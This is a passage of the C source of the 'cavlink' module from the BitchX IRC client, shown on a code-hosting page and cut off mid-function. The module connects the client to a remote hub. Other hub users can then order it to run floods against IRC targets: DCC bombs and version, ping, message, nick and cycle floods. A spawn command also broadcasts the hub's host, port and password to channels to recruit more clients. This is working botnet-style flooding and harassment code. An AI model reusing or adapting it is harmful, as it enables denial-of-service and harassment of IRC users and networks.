Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
BitchX
GitHub Repository: BitchX/BitchX1.3
Path: blob/master/dll/cavlink/cavlink.c
1074 views
1
#define CAV_VERSION "0.11"
2
3
/*
4
*
5
* This is the cavlink link handler.
6
* Written by Colten Edwards. (C) March 97
7
*/
8
#include "irc.h"
9
#include "struct.h"
10
#include "dcc.h"
11
#include "ircaux.h"
12
#include "ctcp.h"
13
#include "status.h"
14
#include "lastlog.h"
15
#include "server.h"
16
#include "screen.h"
17
#include "vars.h"
18
#include "misc.h"
19
#include "output.h"
20
#include "cset.h"
21
#include "module.h"
22
#define INIT_MODULE
23
#include "modval.h"
24
25
#include <sys/time.h>
26
27
SocketList *cavhub = NULL;
28
int cav_socket = -1;
29
30
char cavbuf[BIG_BUFFER_SIZE+1];
31
char *cav_nickname = NULL;
32
char *cav_channel = NULL;
33
int cav_port = 7979;
34
time_t cavping = 0;
35
36
SocketList *cavlink_connect(char *host, unsigned short port);
37
38
char cav_version[] = CAV_VERSION;
39
40
#define cparse convert_output_format
41
42
#define MAXCAVPARA 30
43
44
int check_cavlink(SocketList *Client, char *str, int active)
45
{
46
if ((active && !Client) || (!active && Client))
47
{
48
bitchsay(str?str:"Connect to a cavhub first");
49
return 0;
50
}
51
return 1;
52
}
53
54
int cav_say(char *format, ...)
55
{
56
Window *old_target_window = target_window;
57
int lastlog_level;
58
lastlog_level = set_lastlog_msg_level(LOG_CRAP);
59
if (get_dllint_var("cavlink_window") > 0)
60
target_window = get_window_by_name("CAVLINK");
61
if (window_display && format)
62
{
63
va_list args;
64
va_start (args, format);
65
vsnprintf(&(cavbuf[strlen(get_dllstring_var("cavlink_prompt"))+1]), BIG_BUFFER_SIZE, format, args);
66
va_end(args);
67
strcpy(cavbuf, get_dllstring_var("cavlink_prompt"));
68
cavbuf[strlen(get_dllstring_var("cavlink_prompt"))] = ' ';
69
if (*cavbuf)
70
{
71
add_to_log(irclog_fp, 0, cavbuf, 0);
72
add_to_screen(cavbuf);
73
}
74
}
75
if (get_dllint_var("cavlink_window")> 0)
76
target_window = old_target_window;
77
set_lastlog_msg_level(lastlog_level);
78
return 0;
79
}
80
81
BUILT_IN_DLL(cavsay)
82
{
83
if (!check_cavlink(cavhub, NULL, 1))
84
return;
85
if (command)
86
{
87
if (!my_stricmp(command, "CLSAY"))
88
{
89
dcc_printf(cavhub->is_read, "lsay %s\n", args);
90
return;
91
}
92
}
93
if (args && *args)
94
dcc_printf(cavhub->is_read, "say %s\n", args);
95
}
96
97
BUILT_IN_DLL(cclose)
98
{
99
if (cav_socket == -1)
100
return;
101
close_socketread(cav_socket);
102
cavhub = NULL;
103
cav_socket = -1;
104
}
105
106
BUILT_IN_DLL(cav_link)
107
{
108
char *host, *passwd, *port;
109
int sucks = 0;
110
if (!check_cavlink(cavhub, "Already connected to a CavHub", 0))
111
return;
112
if (!(host = next_arg(args, &args)))
113
host = get_dllstring_var("cavlink_host");
114
if (!(port = next_arg(args, &args)))
115
sucks = get_dllint_var("cavlink_port");
116
else
117
sucks = my_atol(port);
118
if (sucks < 100)
119
{
120
cav_say("Invalid port specified %d", sucks);
121
return;
122
}
123
if (!(passwd = next_arg(args, &args)))
124
passwd = get_dllstring_var("cavlink_pass");
125
if (host && sucks && passwd)
126
{
127
cavhub = cavlink_connect(host, (unsigned short)sucks);
128
set_dllstring_var("cavlink_host", host);
129
set_dllstring_var("cavlink_pass", passwd);
130
set_dllint_var("cavlink_port", sucks);
131
}
132
else
133
cav_say("No %s specified", !host?"host":!passwd?"passwd":"arrggh");
134
}
135
136
BUILT_IN_DLL(cmode)
137
{
138
char *nick, *mode;
139
char buffer[BIG_BUFFER_SIZE];
140
if (!check_cavlink(cavhub, NULL, 1))
141
return;
142
mode = next_arg(args, &args);
143
if (mode && (!my_stricmp(mode, "+a") || !my_stricmp(mode, "-a")) && args)
144
{
145
*buffer = 0;
146
while ((nick = next_arg(args, &args)))
147
{
148
*buffer = 0;
149
if (!my_stricmp(mode, "+a"))
150
sprintf(buffer, "berserk %s\n", nick);
151
else if (!my_stricmp(mode, "-a"))
152
sprintf(buffer, "calm %s\n", nick);
153
dcc_printf(cavhub->is_read, buffer);
154
}
155
} else
156
cav_say("%s", cparse("%BUsage%W:%n /$0 +%Y|%n-a nick", "%s", command));
157
}
158
159
BUILT_IN_DLL(cattack)
160
{
161
char *tmp, *times = "6", *target = NULL, *q;
162
char *comm = NULL;
163
char *type[] = { "dcc_bomb", "version_flood", "ping_flood", "message_flood", "quote_flood", "cycle_flood", "nick_flood", "echo_flood", NULL};
164
if (!check_cavlink(cavhub, NULL, 1))
165
return;
166
if (!my_stricmp(command, "CATTACK"))
167
{
168
set_dllint_var("cavlink_attack", get_dllint_var("cavlink_attack") ? 0 : 1);
169
cav_say(cparse("%RToggled Attack %W$0", "%s", on_off(get_dllint_var("cavlink_attack"))));
170
return;
171
}
172
if (!my_stricmp(command, "cbomb"))
173
comm = type[0];
174
else if (!my_stricmp(command, "cvfld"))
175
comm = type[1];
176
else if (!my_stricmp(command, "cpfld"))
177
comm = type[2];
178
else if (!my_stricmp(command, "cmfld"))
179
comm = type[3];
180
else if (!my_stricmp(command, "cqfld"))
181
comm = type[4];
182
else if (!my_stricmp(command, "ccfld"))
183
comm = type[5];
184
else if (!my_stricmp(command, "cnfld"))
185
comm = type[6];
186
else if (!my_stricmp(command, "cefld"))
187
comm = type[7];
188
if (!my_stricmp(command, "cspawn"))
189
{
190
comm = "spawn_link";
191
target = "all";
192
times = "0";
193
if (args && *args)
194
{
195
q = next_arg(args, &args);
196
if (q && is_channel(q))
197
target = q;
198
}
199
}
200
else if (!my_stricmp(comm, "quote_flood") || !my_stricmp(comm, "message_flood") || !my_stricmp(comm, "echo_flood"))
201
{
202
if (!my_strnicmp(args, "-t", 2))
203
{
204
tmp = next_arg(args, &args);
205
times = next_arg(args, &args);
206
if (times && !isdigit(*times))
207
times = "6";
208
target = next_arg(args, &args);
209
} else
210
target = next_arg(args, &args);
211
if (target && args)
212
dcc_printf(cavhub->is_read, "attack %s %s %s %s\n", comm, times, target, args);
213
else
214
cav_say(cparse("%BUsage%W:%n /$0 %K[%n-t #%K]%n target%Y|%ntarg1,targ2...", "%s", command));
215
return;
216
}
217
else
218
{
219
if (!my_strnicmp(args, "-t", 2))
220
{
221
tmp = next_arg(args, &args);
222
times = next_arg(args, &args);
223
if (times && !isdigit(*times))
224
times = "6";
225
target = next_arg(args, &args);
226
} else
227
target = next_arg(args, &args);
228
}
229
if (target)
230
dcc_printf(cavhub->is_read, "attack %s %s %s\n", comm, times, target);
231
else
232
cav_say(cparse("%BUsage%W:%n /$0 %K[%n-t #%K]%n target%Y|%ntarg1,targ2...", "%s", command));
233
}
234
235
BUILT_IN_DLL(cunlink)
236
{
237
if (!check_cavlink(cavhub, NULL, 1))
238
return;
239
dcc_printf(cavhub->is_read, "quit%s%s\n", (args && *args)?" ":empty_string, (args && *args)?args:empty_string);
240
cavhub->flags |= DCC_DELETE;
241
cavhub = NULL;
242
}
243
244
BUILT_IN_DLL(cgrab)
245
{
246
char *target;
247
char buffer[BIG_BUFFER_SIZE];
248
int server = -1;
249
if (!check_cavlink(cavhub, NULL, 1))
250
return;
251
if ((server = current_window->server) == -1)
252
server = primary_server;
253
254
if (!args || !*args)
255
args = get_current_channel_by_refnum(0);
256
if ((server != -1) && args)
257
{
258
while ((target = next_arg(args, &args)))
259
{
260
snprintf(buffer, BIG_BUFFER_SIZE, "PRIVMSG %s :%cCLINK %s %d %s%c", target, CTCP_DELIM_CHAR, get_dllstring_var("cavlink_host"), get_dllint_var("cavlink_port"), get_dllstring_var("cavlink_pass"), CTCP_DELIM_CHAR);
261
my_send_to_server(server, buffer);
262
}
263
}
264
else
265
cav_say(cparse("%BUsage%W:%n /$0 target%Y|%ntarg1 targ2...", "%s", command));
266
}
267
268
BUILT_IN_DLL(cavgen)
269
{
270
if (!check_cavlink(cavhub, NULL, 1))
271
return;
272
if (command)
273
{
274
char buffer[BIG_BUFFER_SIZE];
275
276
*buffer = 0;
277
if (!my_stricmp(command, "CWHO"))
278
sprintf(buffer, "who\n");
279
else if (!my_stricmp(command, "CRWHO"))
280
sprintf(buffer, "rwho\n");
281
else if (!my_stricmp(command, "CSTATS"))
282
sprintf(buffer, "stats\n");
283
else if (!my_stricmp(command, "CUPTIME"))
284
sprintf(buffer, "uptime\n");
285
else if (!my_stricmp(command, "CMSG") && args)
286
{
287
char *nick = next_arg(args, &args);
288
if (args && *args)
289
{
290
sprintf(buffer, "msg %s %s\n", nick, args);
291
addtabkey(nick, "cmsg", 0);
292
cav_say("%s",cparse("%g[%r$0%g(%W$1%g)]%n $2-","%s %s %s","cmsg",nick, args));
293
}
294
}
295
else if (!my_stricmp(command, "COPER") && args)
296
sprintf(buffer, "oper %s\n", args);
297
else if (!my_stricmp(command, "CPART"))
298
sprintf(buffer, "leave\n");
299
else if (!my_stricmp(command, "CLIST"))
300
sprintf(buffer, "list\n");
301
else if (!my_stricmp(command, "CJOIN") && args)
302
sprintf(buffer, "join %s\n", args);
303
else if (!my_stricmp(command, "CKILL") && args)
304
{
305
char *nick = next_arg(args, &args);
306
sprintf(buffer, "kill %s%s%s\n", nick, args? " ":empty_string, args ? args:empty_string);
307
}
308
else if (!my_stricmp(command, "CPONG"))
309
{
310
if (cavping == 0)
311
{
312
sprintf(buffer, "ping\n");
313
cavping = time(NULL);
314
} else
315
cav_say("Server ping already in progress");
316
}
317
else if (!my_stricmp(command, "CPING"))
318
{
319
char *nick = next_arg(args, &args);
320
if (nick)
321
sprintf(buffer, "msg %s PING %ld\n", nick, time(NULL));
322
else
323
sprintf(buffer, "say PING %ld\n", time(NULL));
324
}
325
else if (!my_stricmp(command, "CVERSION"))
326
sprintf(buffer, "version\n");
327
else if (!my_stricmp(command, "CVER"))
328
{
329
char *nick = next_arg(args, &args);
330
if (nick)
331
sprintf(buffer, "msg %s VERSION\n", nick);
332
else
333
sprintf(buffer, "say VERSION\n");
334
}
335
else if (!my_stricmp(command, "CWALL") && args)
336
sprintf(buffer, "wall %s\n", args);
337
else if (!my_stricmp(command, "CRWALL") && args)
338
sprintf(buffer, "rwall %s\n", args);
339
else if (!my_stricmp(command, "CQUIT"))
340
sprintf(buffer, "quit%s%s\n", (args && *args)?" ":empty_string, (args && *args)?args:empty_string);
341
else if (!my_stricmp(command, "CMOTD"))
342
sprintf(buffer, "motd\n");
343
else if (!my_stricmp(command, "CDIE"))
344
sprintf(buffer, "die\n");
345
else if (!my_stricmp(command, "CCONNECT") && args)
346
sprintf(buffer, "connect %s\n",args);
347
else if (!my_stricmp(command, "CME") && args)
348
sprintf(buffer, "say ACTION %s\n",args);
349
else if (!my_stricmp(command, "CLUSER"))
350
sprintf(buffer, "luser\n");
351
else if (!my_stricmp(command, "CINFO") || !my_stricmp(command, "CWHOIS"))
352
{
353
char *nick = next_arg(args, &args);
354
if (nick)
355
sprintf(buffer, "msg %s INFO\n", nick);
356
else
357
sprintf(buffer, "say INFO\n");
358
}
359
else if (!my_stricmp(command, "CBOOT") && args)
360
{
361
char *nick = next_arg(args, &args);
362
sprintf(buffer, "kill %s\n", nick);
363
}
364
else if (!my_stricmp(command, "CHUBS"))
365
{
366
char *nick = next_arg(args, &args);
367
sprintf(buffer, "hubs%s%s\n", nick?" ":empty_string, nick?nick:empty_string);
368
}
369
else if (!my_stricmp(command, "CSPLIT"))
370
sprintf(buffer, "split\n");
371
else if (!my_stricmp(command, "CNICK") && args)
372
{
373
char *nick = next_arg(args, &args);
374
sprintf(buffer, "nick %s\n", nick);
375
}
376
else if (!my_stricmp(command, "CKLINE"))
377
{
378
char *nick = next_arg(args, &args);
379
sprintf(buffer, "kline%s%s\n", nick?" ":empty_string, nick?nick:empty_string);
380
}
381
if (*buffer)
382
dcc_printf(cavhub->is_read, buffer);
383
return;
384
}
385
if (args && *args)
386
dcc_printf(cavhub->is_read, "%s\n", args);
387
}
388
389
int do_nick_flood(int server, char *target, int repcount, char *key)
390
{
391
int i;
392
ChannelList *chan;
393
int joined = 0;
394
char *channel;
395
396
channel = make_channel(target);
397
if (server == -1)
398
server = primary_server;
399
if (server == -1)
400
return 1;
401
chan = get_server_channels(server);
402
if (!chan || !(chan = (ChannelList *)find_in_list((List **)chan, channel, 0)))
403
{
404
my_send_to_server(server, "JOIN %s%s%s\n", channel, key?" ":empty_string, key?key:empty_string);
405
joined = 1;
406
}
407
408
for (i = 0; i < repcount; i++)
409
my_send_to_server(server, "NICK %s", random_str(3, 9));
410
if (joined)
411
my_send_to_server(server, "PART %s\n", channel);
412
return 1;
413
}
414
415
int do_cycle_flood(int server, char *target, int repcount, char *key)
416
{
417
char *channel;
418
ChannelList *chan = NULL;
419
char *key1 = NULL;
420
int i;
421
channel = make_channel(target);
422
if (server == -1)
423
server = primary_server;
424
if (server == -1)
425
return 1;
426
chan = get_server_channels(server);
427
if (!chan || !(chan = (ChannelList *)find_in_list((List **)chan, channel, 0)))
428
{
429
for (i = 0; i < repcount; i++)
430
my_send_to_server(server, "JOIN %s%s%s\nPART %s\n", channel, key?" ":empty_string, key?key:empty_string, channel);
431
}
432
else
433
{
434
key1 = m_strdup(chan->key);
435
for (i = 0; i < repcount; i++)
436
my_send_to_server(server, "PART %s\nJOIN %s%s%s\n", channel, channel, key1?" ":empty_string, key1?key1:empty_string);
437
new_free(&key1);
438
}
439
return 1;
440
}
441
442
static unsigned long randm (unsigned long l)
443
{
444
unsigned long t1, t2, t;
445
struct timeval tp1;
446
get_time(&tp1);
447
if (l == 0)
448
l = (unsigned long) -1;
449
get_time(&tp1);
450
t1 = (unsigned long)tp1.tv_usec;
451
get_time(&tp1);
452
t2 = (unsigned long)tp1.tv_usec;
453
t = (t1 & 65535) * 65536 + (t2 & 65535);
454
return t % l;
455
}
456
457
int do_dccbomb(int server, char *target, int repcount)
458
{
459
char buffer[BIG_BUFFER_SIZE];
460
int i;
461
char *text = NULL;
462
if (server == -1)
463
server = primary_server;
464
if (server == -1)
465
return 1;
466
text = alloca(100);
467
for (i = 0; i < repcount; i++)
468
{
469
snprintf(buffer, IRCD_BUFFER_SIZE, "%ld%ld%ld %ld%ld%ld %ld%ld%ld %ld%ld%ld", randm(time(NULL))+i, randm(time(NULL))+i, time(NULL)+i, randm(time(NULL))+i, randm(time(NULL))+i, time(NULL)+i, randm(time(NULL))+i, randm(time(NULL))+i, time(NULL)+i, randm(time(NULL))+i, randm(time(NULL))+i, time(NULL)+i);
470
for (i = 0; i < randm(80); i++)
471
text[i] = randm(255)+1;
472
snprintf(buffer, IRCD_BUFFER_SIZE, "PRIVMSG %s :DCC SEND %s 2293243493 8192 6978632", target, text);
473
my_send_to_server(server, buffer);
474
}
475
return 1;
476
}
477
478
int handle_attack (SocketList *Client, char **ArgList)
479
{
480
char *type, *times, *target, *extra = NULL;
481
char *nick, *host;
482
int i, repcount, done = 0;
483
char buffer[BIG_BUFFER_SIZE+1];
484
485
if (!get_dllint_var("cavlink_attack"))
486
return 1;
487
488
nick = *(ArgList+1);
489
host = *(ArgList+2);
490
491
type = *(ArgList+3);
492
times = *(ArgList+4);
493
494
if (!my_stricmp(type, "message_flood") || !my_stricmp(type, "quote_flood"))
495
{
496
PasteArgs(ArgList, 6);
497
target = *(ArgList+5);
498
extra = *(ArgList+6);
499
}
500
else
501
target = *(ArgList+5);
502
503
*buffer = 0;
504
if (!my_stricmp(type, "spawn_link"))
505
{
506
char *chan = NULL;
507
int server = current_window->server;
508
int tmp_server = from_server;
509
if (server == -1)
510
server = primary_server;
511
if (((server = current_window->server) == -1) || get_dllint_var("cavlink_floodspawn") || !get_server_channels(current_window->server))
512
{
513
cav_say("%s", cparse("%BIgnoring Spawn link request by $0!$1 to : $2", "%s %s %s", nick, host, target));
514
return 1;
515
}
516
from_server = server;
517
if (!my_stricmp(target, "all"))
518
{
519
char *p;
520
chan = create_channel_list(current_window);
521
522
while((p = strchr(chan, ' ')))
523
*p=',';
524
if (chan[strlen(chan)-1] == ',')
525
chop(chan, 1);
526
snprintf(buffer, IRCD_BUFFER_SIZE, "PRIVMSG %s :CLINK %s %d %s", chan, get_dllstring_var("cavlink_host"), get_dllint_var("cavlink_port"), get_dllstring_var("cavlink_pass"));
527
new_free(&chan);
528
}
529
else
530
{
531
ChannelList *ch;
532
ch = get_server_channels(server);
533
if (find_in_list((List **)ch, target, 0))
534
snprintf(buffer, IRCD_BUFFER_SIZE, "PRIVMSG %s :CLINK %s %d %s", make_channel(target), get_dllstring_var("cavlink_host"), get_dllint_var("cavlink_port"), get_dllstring_var("cavlink_pass"));
535
}
536
if (*buffer)
537
{
538
my_send_to_server(server, buffer);
539
cav_say("%s", cparse("%BSpawn link request by $0!$1 to : $2", "%s %s %s", nick, host, chan ? chan : target));
540
}
541
else
542
cav_say("%s", cparse("%BIgnoring Spawn link request by $0!$1 to : $2", "%s %s %s", nick, host, target));
543
from_server = tmp_server;
544
return 0;
545
}
546
if (!type || !target || !times)
547
{
548
/* Illegal request */
549
cav_say("%s", cparse("%BIllegal attack request from $0!$1", "%s %d %s %s %s", nick, host));
550
return 0;
551
}
552
repcount = my_atol(times);
553
if (repcount <= 0 || repcount > get_dllint_var("cavlink_attack_times"))
554
repcount = get_dllint_var("cavlink_attack_times");
555
556
if (!my_stricmp(type, "quote_flood") && get_dllint_var("cavlink_floodquote"))
557
snprintf(buffer, IRCD_BUFFER_SIZE, "%s %s", target, extra);
558
else if (!my_stricmp(type, "version_flood") && get_dllint_var("cavlink_floodversion"))
559
snprintf(buffer, IRCD_BUFFER_SIZE, "PRIVMSG %s :VERSION", target);
560
else if (!my_stricmp(type, "ping_flood") && get_dllint_var("cavlink_floodping"))
561
snprintf(buffer, IRCD_BUFFER_SIZE, "PRIVMSG %s :PING %ld", target, time(NULL));
562
else if (!my_stricmp(type, "echo_flood") && get_dllint_var("cavlink_floodecho"))
563
snprintf(buffer, IRCD_BUFFER_SIZE, "PRIVMSG %s :ECHO %s", target, extra);
564
else if (!my_stricmp(type, "message_flood") && get_dllint_var("cavlink_floodmsg"))
565
snprintf(buffer, IRCD_BUFFER_SIZE, "PRIVMSG %s :%s", target, extra);
566
else if (!my_stricmp(type, "dcc_bomb") && get_dllint_var("cavlink_flooddccbomb"))
567
done = do_dccbomb(current_window->server, target, repcount);
568
else if (!my_stricmp(type, "cycle_flood") && get_dllint_var("cavlink_floodcycle"))
569
done = do_cycle_flood(current_window->server, target, repcount, *(ArgList+6));
570
else if (!my_stricmp(type, "nick_flood") && get_dllint_var("cavlink_floodnick"))
571
done = do_nick_flood(current_window->server, target, repcount, *(ArgList+6));
572
573
if (*buffer)
574
{
575
for (i = 0; i < repcount; i++)
576
my_send_to_server(-1, buffer);
577
done = 1;
578
}
579
if (done)
580
cav_say("%s", cparse("%BAttack request %K[%R$0%K]%B x %R$1%B by %R$2%B to %W: %R$4", "%s %d %s %s %s", type, repcount, nick, host, target));
581
else
582
cav_say("%s", cparse("%BIgnoring Attack request %K[%R$0%K]%B x %R$1%B by %R$2%B to %W: %R$4", "%s %d %s %s %s", type, repcount, nick, host, target));
583
return 0;
584
}
585
586
int handle_split(SocketList *Client, char **ArgList)
587
{
588
char *t, *serv, *links;
589
static int start_split = 0;
590
t = *(ArgList+1);
591
if (!my_stricmp(t, "End"))
592
{
593
cav_say("%s", cparse("End of split list", NULL, NULL));
594
start_split = 0;
595
return 0;
596
}
597
serv = *(ArgList+2);
598
links = *(ArgList+3);
599
if (!start_split)
600
cav_say("%s", cparse("%B$[25]0 $[10]1 $[30]2", "Server Time Uplink", NULL));
601
cav_say("%s", cparse("$[25]1 $[10]0 $[30]2", "%s %s %s", t, serv, links?links:"*unknown*"));
602
start_split++;
603
return 0;
604
}
605
606
int handle_who (SocketList *Client, char **ArgList, int remote)
607
{
608
char *chan = NULL, *idle = NULL, *flags = NULL;
609
char *nick, *host;
610
if (strcmp("end", *(ArgList+1)))
611
{
612
if (!remote)
613
{
614
nick = *(ArgList+1);
615
host = *(ArgList+2);
616
chan = *(ArgList+3);
617
if (!my_stricmp("(chan:",chan))
618
{
619
chan = *(ArgList+4);
620
chop(chan, 1);
621
}
622
else
623
chan = NULL;
624
flags = *(ArgList+5);
625
PasteArgs(ArgList, 6);
626
if (*(ArgList+6))
627
malloc_sprintf(&idle,"idle: %s", *(ArgList+6));
628
}
629
else
630
{
631
nick = *(ArgList+2);
632
host = *(ArgList+3);
633
chan = *(ArgList+4);
634
if (!my_stricmp("(chan:",chan))
635
{
636
chan = *(ArgList+5);
637
chop(chan, 1);
638
}
639
else
640
chan = NULL;
641
flags = *(ArgList+6);
642
PasteArgs(ArgList, 7);
643
if (*(ArgList+7))
644
malloc_sprintf(&idle,"idle: %s", *(ArgList+7));
645
}
646
cav_say("%s",cparse("%g$[10]0%g$[-10]1%G!%g$[30]2 %G$[3]3 $4-", "%s %s %s %s %s",chan ? chan:"*none*",nick,host,flags,idle?idle:"��"));
647
#if 0
648
if (remote)
649
/* cav_say("%s",cparse("%G$[20]0%G$[-10]1%g!%g$[25]2 %g$[3]3 $4-", "%s %s %s %s %s",chan ? chan:"*none*",nick,host,flags,idle?idle:"��"));*/
650
cav_say("%s",cparse("$0-", "%s %s %s %s %s",chan ? chan:"*none*",nick,host,flags,idle?idle:"��"));
651
else
652
#endif
653
new_free(&idle);
654
}
655
return 0;
656
}
657
658
int handle_llbot (SocketList *Client, char **ArgList)
659
{
660
char *host, *port;
661
host= *(ArgList+4);
662
port= *(ArgList+5);
663
cav_say("llbot attemping connect to %s %s",host, port);
664
return 0;
665
}
666
667
char *ctcp_info = NULL;
668
UserList *cav_info = NULL;
669
670
char *handle_ctcp(SocketList *Client, char *nick, char *host, char *chan, char *ptr)
671
{
672
char local_ctcp_buffer[IRCD_BUFFER_SIZE+1];
673
char the_ctcp[IRCD_BUFFER_SIZE+1];
674
char last[IRCD_BUFFER_SIZE+1];
675
int allow_reply = 1;
676
char *ctcp_command;
677
char *ctcp_arg;
678
int delim = charcount(ptr, CTCP_DELIM_CHAR);
679
int its_me = 0;
680
681
if (delim < 2)
682
return ptr;
683
if (delim > 8)
684
allow_reply = 0;
685
its_me = !my_stricmp(nick, cav_nickname) ? 1 : 0;
686
687
strmcpy(local_ctcp_buffer, ptr, IRCD_BUFFER_SIZE-2);
688
for (;; strmcat(local_ctcp_buffer, last, IRCD_BUFFER_SIZE-2))
689
{
690
split_CTCP(local_ctcp_buffer, the_ctcp, last);
691
if (!*the_ctcp)
692
break;
693
if (!allow_reply)
694
continue;
695
ctcp_command = the_ctcp;
696
ctcp_arg = index(the_ctcp, ' ');
697
if (ctcp_arg)
698
*ctcp_arg++ = 0;
699
else
700
ctcp_arg = empty_string;
701
if (!my_stricmp(ctcp_command, "PING") && !its_me)
702
{
703
dcc_printf(Client->is_read, "msg %s PONG %s\n",nick, ctcp_arg);
704
cav_say(cparse("CTCP $0 from $1 to $3","PING %s %s %s",nick,host,chan ? chan : "you"));
705
*local_ctcp_buffer = 0;
706
}
707
if (!my_stricmp(ctcp_command, "PONG") && *ctcp_arg)
708
{
709
time_t tme;
710
tme = strtoul(ctcp_arg, &ctcp_arg, 10);
711
cav_say(cparse("CTCP $0 reply from $1 : $3secs","PONG %s %s %d %s",nick,host, time(NULL)-tme, chan ? chan:empty_string));
712
*local_ctcp_buffer = 0;
713
}
714
else if (!my_stricmp(ctcp_command, "VERSION") && *ctcp_arg)
715
{
716
cav_say(cparse("$0-","%s %s %s %s","VERSION",nick,host, ctcp_arg));
717
*local_ctcp_buffer = 0;
718
}
719
else if (!my_stricmp(ctcp_command, "VERSION") && !its_me)
720
{
721
if (!my_stricmp(nick, cav_nickname))
722
cav_say(cparse("$0 $1","%s %s %s %s","VERSION",chan? chan : nick,host, chan?chan:empty_string));
723
else
724
cav_say(cparse("CTCP $0 from $1","%s %s %s %s","VERSION",nick,host, chan?chan:empty_string));
725
*local_ctcp_buffer = 0;
726
dcc_printf(Client->is_read, "msg %s VERSION %s cavlink %s\n", nick, irc_version, cav_version);
727
}
728
else if (!my_stricmp(ctcp_command, "ACTION"))
729
{
730
cav_say(cparse("%W*%n $2 $4-","%s %s %s %s %s","ACTION",cav_nickname, nick,host, ctcp_arg));
731
*local_ctcp_buffer = 0;
732
addtabkey(nick, "cmsg", 0);
733
}
734
else if (!my_stricmp(ctcp_command, "AWAY"))
735
{
736
cav_say(cparse("$1!$2 is now away. ($3-)","%s %s %s %s","AWAY",nick,host, ctcp_arg));
737
*local_ctcp_buffer = 0;
738
}
739
else if (!my_stricmp(ctcp_command, "INFO") && !*ctcp_arg && !its_me)
740
{
741
char *serv, *channels;
742
char *msg;
743
serv = (get_window_server(0) != -1) ? get_server_itsname(get_window_server(0)) : empty_string;
744
if (current_window->server != -1)
745
{
746
ChannelList *tmp;
747
channels = m_strdup(empty_string);
748
for (tmp = get_server_channels(current_window->server); tmp; tmp = tmp->next)
749
m_3cat(&channels, tmp->channel, " ");
750
}
751
else
752
channels = m_strdup(empty_string);
753
cav_say(cparse("CTCP $0-","%s %s %s","INFO",nick,host));
754
dcc_printf(Client->is_read, "msg %s INFO %s %s %s", nick, nickname, serv, *channels?channels:"*none*");
755
if ((msg = get_server_away(from_server)))
756
dcc_printf(Client->is_read, "msg %s INFO AWAY %s\n", nick, msg);
757
dcc_printf(Client->is_read, "msg %s INFO END\n", nick);
758
new_free(&channels);
759
*local_ctcp_buffer = 0;
760
}
761
else if (!my_stricmp(ctcp_command, "INFO") && *ctcp_arg)
762
{
763
UserList *n;
764
if (!my_stricmp(ctcp_arg, "END"))
765
{
766
cav_say(cparse("$[10]0 $[20]1 $2", "Nick Server Channels", NULL));
767
for(; ((n = cav_info) != NULL);)
768
{
769
cav_info = cav_info->next;
770
cav_say(cparse("$[10]0 $[20]1 $2-", "%s", n->channels));
771
if (n->password)
772
cav_say(cparse("$0-", "%s", n->password));
773
new_free(&n->password);
774
new_free(&n->channels);
775
new_free(&n->nick);
776
new_free(&n->host);
777
new_free((char **)&n);
778
}
779
}
780
else
781
{
782
if (!(n = (UserList *)remove_from_list((List **)&cav_info, nick)))
783
{
784
n = (UserList *)new_malloc(sizeof(UserList));
785
n->nick = m_strdup(nick);
786
n->host = m_strdup(host);
787
}
788
if (!my_strnicmp(ctcp_arg, "AWAY", 4))
789
n->password = m_strdup(ctcp_arg);
790
else
791
n->channels = m_strdup(ctcp_arg);
792
add_to_list((List **)&cav_info, (List *)n);
793
}
794
*local_ctcp_buffer = 0;
795
}
796
}
797
return strcpy(ptr, local_ctcp_buffer);
798
}
799
800
int handle_say (SocketList *Client, char **ArgList)
801
{
802
char *chan, *nick, *host, *str;
803
804
chan = *(ArgList+1);
805
nick = *(ArgList+2);
806
host = *(ArgList+3);
807
str = *(ArgList+4);
808
PasteArgs(ArgList, 4);
809
810
str = handle_ctcp(Client, nick, host, chan, str);
811
if (!str || !*str)
812
return 0;
813
if (!my_stricmp(nick, cav_nickname))
814
cav_say(cparse("%g<%W$2%g>%n $4-", "%s %s %s %s %s", update_clock(GET_TIME), chan, nick, host, str));
815
else
816
cav_say(cparse("%G<%R$1%g/%Y$2%G>%n $4-", "%s %s %s %s %s", update_clock(GET_TIME), chan, nick, host, str));
817
return 0;
818
}
819
820
void cav_away(SocketList *Client, char *nick)
821
{
822
NickTab *tmp;
823
if (get_server_away(from_server) && nick)
824
{
825
for (tmp = tabkey_array;tmp; tmp = tmp->next);
826
{
827
if (!tmp || (tmp->nick && !my_stricmp(tmp->nick, nick)))
828
return;
829
}
830
dcc_printf(Client->is_read, "msg %s AWAY %s\n", nick, get_server_away(from_server));
831
}
832
}
833
834
int handle_msg (SocketList *Client, char **ArgList)
835
{
836
char *to, *nick, *host, *str;
837
to = *(ArgList+1);
838
nick = *(ArgList+2);
839
host = *(ArgList+3);
840
str = *(ArgList+4);
841
PasteArgs(ArgList, 4);
842
str = handle_ctcp(Client, nick, host, NULL, str);
843
if (!str || !*str)
844
return 0;
845
cav_say("%s",cparse("%g[%W$0%g(%n$1%g)]%n $2-","%s %s %s",nick,host,str));
846
cav_away(Client, nick);
847
addtabkey(nick, "cmsg", 0);
848
return 0;
849
}
850
851
852
static void cavlink_handler (int s)
853
{
854
int output = 1;
855
char *p = NULL;
856
char *TrueArgs[MAXCAVPARA+1] = { NULL };
857
int count = 0;
858
char **ArgList;
859
char *comm;
860
char tmpstr[BIG_BUFFER_SIZE+1];
861
char *tmp = tmpstr;
862
863
switch(dgets(tmpstr, s, 0, BIG_BUFFER_SIZE, NULL))
864
{
865
case 0:
866
return;
867
case -1:
868
{
869
put_it("error on socket");
870
close_socketread(s);
871
cav_socket = -1;
872
cavhub = NULL;
873
return;
874
}
875
default:
876
{
877
if (!*tmp)
878
{
879
cavhub = NULL;
880
return;
881
}
882
chop(tmp, 1);
883
if (my_strnicmp(tmp, "caverns:", 8))
884
{
885
if (wild_match("password:", tmp))
886
{
887
dcc_printf(s, "%s\n", get_dllstring_var("cavlink_pass"));
888
output = 0;
889
}
890
else if (wild_match("nick:", tmp))
891
{
892
dcc_printf(s, "%s\n", cav_nickname);
893
output = 0;
894
}
895
else if (wild_match("that nick is not unique!",tmp))
896
{
897
malloc_sprintf(&cav_nickname, "_%9.9s", nickname);
898
dcc_printf(s, "_%9.9s\n", cav_nickname);
899
}
900
else if (wild_match("welcome to caverns.", tmp))
901
{
902
dcc_printf(s, "motd\n");
903
dcc_printf(s, "luser\n");
904
dcc_printf(s, "status\n");
905
}
906
if (output)
907
cav_say(tmp);
908
return;
909
}
910
if (wild_match("% % restored your attack ability",tmp))
911
{
912
p=next_arg(tmp,&tmp);
913
p=next_arg(tmp,&tmp);
